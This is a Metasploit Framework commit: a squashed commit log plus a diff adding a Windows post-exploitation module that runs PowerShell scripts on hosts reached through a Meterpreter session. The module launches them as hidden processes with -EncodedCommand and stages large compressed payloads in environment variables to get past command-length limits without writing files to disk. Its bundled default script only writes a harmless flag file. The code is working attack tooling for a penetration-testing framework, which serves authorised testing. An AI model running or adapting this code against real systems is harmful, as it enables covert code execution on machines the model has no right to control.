PowerShell post module download and exec

This adds sempervictus's PowerShell post module, along with a default
post module one can use for quick testing (for expected results, see
the screencap Gist at https://gist.github.com/6011cb87b01e970deca8

[Closes #403]

Squashed commit of the following:

commit c6b5a6aac1dc8781c67b611289d7710129592e83
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:43:48 2012 -0500

    Minor tweaks to language

commit ef088e135cd7b0ccb514a3011889154661d5bd09
Merge: 0a05455 1e14211
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:34:27 2012 -0500

    Merge remote branch 'todb/default-powershell' into Pull403

commit 0a0545558604c53d4648e3314ca8963ff9b225a7
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:33:33 2012 -0500

    Reverting unrelated telnet fix

    While I'm sure it's great, it needs to be tested.

commit 1e1421102b44a4c60c6eb9b442227075e959d7c6
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:14:09 2012 -0500

    Adds a default path to a script for exec_powershell.rb

commit 9978787f44896d06744d50febf4344111edcd7b1
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:06:46 2012 -0500

    Adds a new default powershell script

commit 25b605949f
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Mon May 21 14:15:15 2012 -0400

    Synchronized SVIT version of lib...powershell.rb to github. Adds timeout option, check for script encoding, etc. Added post/windows/manage/powershell folder with script execution module. Other modules which can be placed here would be WinRM meterp exec, PS persistence, etc

commit c4a7fd932f
Merge: 21b31f1 36207eb
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Mon May 21 14:07:26 2012 -0400

    msfvenom formatting merge conflict fix

commit 36207eb21e
Merge: c77eb03 4772c12
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Mon May 21 14:06:07 2012 -0400

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework

commit 21b31f10c5
Merge: 81a7d62 c77eb03
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Fri May 18 12:57:52 2012 -0400

    Merge branch 'master' into powershell

commit c77eb03ca4
Merge: 89d5af7 52183aa
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Fri May 18 12:57:21 2012 -0400

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework

commit 89d5af7ab2
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Fri Mar 2 01:28:02 2012 -0500

    Banner encoding fix when running against dd-wrt on ruby 1.9.3

commit 81a7d62c6d
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:19:13 2012 -0400

    powershell for msfvenom

commit 672c7bc37e
Merge: 3e86dc4 ed542e2
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:08:12 2012 -0400

    exe.rb merge cleanup

commit 3e86dc4c40
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:06:03 2012 -0400

    psh encoder cleanup

commit f619ed477f
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Sun Feb 5 13:35:11 2012 -0500

    method call fix for psh-net encoder

commit 7b035e6da0
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Fri Feb 3 18:53:54 2012 -0500

    PS encoders: .net and architecture dependent native (psh-net, psh)

commit 7a2749bf26
Merge: 32730b9 f89853d
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Fri Feb 3 18:38:03 2012 -0500

    Merge branch 'master' into powershell

commit 32730b96be
Merge: e69fcd1 f6a6963
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 10:33:17 2012 -0500

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell

commit e69fcd1a83
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 07:59:38 2012 -0500

    msfvenom psh addition

commit 9a5d8ead7e
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 07:29:38 2012 -0500

    Proper author reference

commit 9fd8ac75a8
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Tue Jan 24 19:07:30 2012 -0500

    Fix script handling

commit fa363dfe96
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Tue Jan 24 17:31:09 2012 -0500

    added Msf::Post::Windows::Powershell, reworked post module to use mixin

commit e078d15b54
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 13:42:35 2012 -0500

    vprint_good change

commit 355f8bb19a
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 12:50:51 2012 -0500

    exec powershell module

commit 5f95094449
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 12:45:41 2012 -0500

    powershell encoder support - Redmine Feature #6049
This commit is contained in:
RageLtMan 2012-05-21 14:45:34 -05:00 committed by Tod Beardsley
parent d273a0e44b
commit 125aa43072
3 changed files with 141 additions and 4 deletions

View File

@ -95,9 +95,10 @@ module Powershell
return encoded_expression
end
def execute_script(script)
running_pids, open_channels = [], []
def execute_script(script, time_out = 15)
running_pids, open_channels = [], []
# Execute using -EncodedCommand
session.response_timeout = time_out
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
@ -111,6 +112,11 @@ module Powershell
end
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
# Check to ensure script is encoded and compressed
if compressed_script =~ /\s|\.|\;/
compressed_script = compress_script(compressed_script)
end
# Divide the encoded script into 8000 byte chunks and iterate
index = 0
count = 8000
@ -174,7 +180,7 @@ module Powershell
return
end
def clean_up(script_file, eof, running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8))
def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
env_del_command += "Select-String #{env_suffix}|%{"
@ -194,7 +200,7 @@ module Powershell
chan.channel.close()
end
::File.delete(script_file) if datastore['DELETE']
::File.delete(script_file) if (script_file and delete)
return
end

View File

@ -0,0 +1,129 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# Original script comments by nick[at]executionflow.org:
# Meterpreter script to deliver and execute powershell scripts using
# a compression/encoding method based on the powershell PoC code
# from rel1k and winfang98 at DEF CON 18. This script furthers the
# idea by bypassing Windows' command character lmits, allowing the
# execution of very large scripts. No files are ever written to disk.
##
require 'zlib' # TODO: check if this can be done with REX
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/powershell'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "Windows Manage PowerShell Download and/or Execute",
'Description' => %q{
This module will download and execute a PowerShell script over a meterpreter session.
The user may also enter text substitutions to be made in memory before execution.
Setting VERBOSE to true will output both the script prior to execution and the results.
},
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
'RageLtMan' # post module
]
))
register_options(
[
OptPath.new( 'SCRIPT', [true, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
], self.class)
register_advanced_options(
[
OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
OptBool.new( 'DELETE', [false, 'Delete file after execution', false ]),
OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]),
OptInt.new('TIMEOUT', [false, 'Execution timeout', 15]),
], self.class)
end
def run
# Make sure we meet the requirements before running the script, note no need to return
# unless error
return 0 if ! (session.type == "meterpreter" || have_powershell?)
# End of file marker
eof = Rex::Text.rand_text_alpha(8)
env_suffix = Rex::Text.rand_text_alpha(8)
# check/set vars
subs = process_subs(datastore['SUBSTITUTIONS'])
script_in = read_script(datastore['SCRIPT'])
print_status(script_in)
# Make substitutions in script if needed
script_in = make_subs(script_in, subs) unless subs.empty?
# Get target's computer name
computer_name = session.sys.config.sysinfo['Computer']
# Create unique log directory
log_dir = ::File.join(Msf::Config.log_directory,'scripts', computer_name)
::FileUtils.mkdir_p(log_dir)
# Define log filename
script_ext = ::File.extname(datastore['SCRIPT'])
script_base = ::File.basename(datastore['SCRIPT'], script_ext)
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
log_file = ::File.join(log_dir,"#{script_base}-#{time_stamp}.txt")
# Compress
print_status('Compressing script contents.')
compressed_script = compress_script(script_in, eof)
if datastore['DRY_RUN']
print_good("powershell -EncodedCommand #{compressed_script}")
return
end
# If the compressed size is > 8100 bytes, launch stager
if (compressed_script.size > 8100)
print_error("Compressed size: #{compressed_script.size}")
error_msg = "Compressed size may cause command to exceed "
error_msg += "cmd.exe's 8kB character limit."
print_error(error_msg)
print_status('Launching stager:')
script = stage_to_env(compressed_script, env_suffix)
print_good("Payload successfully staged.")
else
print_good("Compressed size: #{compressed_script.size}")
script = compressed_script
end
# Execute the powershell script
print_status('Executing the script.')
cmd_out, running_pids, open_channels = execute_script(script, datastore['TIMEOUT'])
# Write output to log
print_status("Logging output to #{log_file}.")
write_to_log(cmd_out, log_file, eof)
# Clean up
print_status('Cleaning up residual objects and processes.')
clean_up(datastore['SCRIPT'], eof, running_pids, open_channels, env_suffix)
# That's it
print_good('Finished!')
end
end

2
scripts/ps/msflag.ps1 Normal file
View File

@ -0,0 +1,2 @@
$someText = "Hello from Metasploit!" ; $someText > "C:\flag.txt"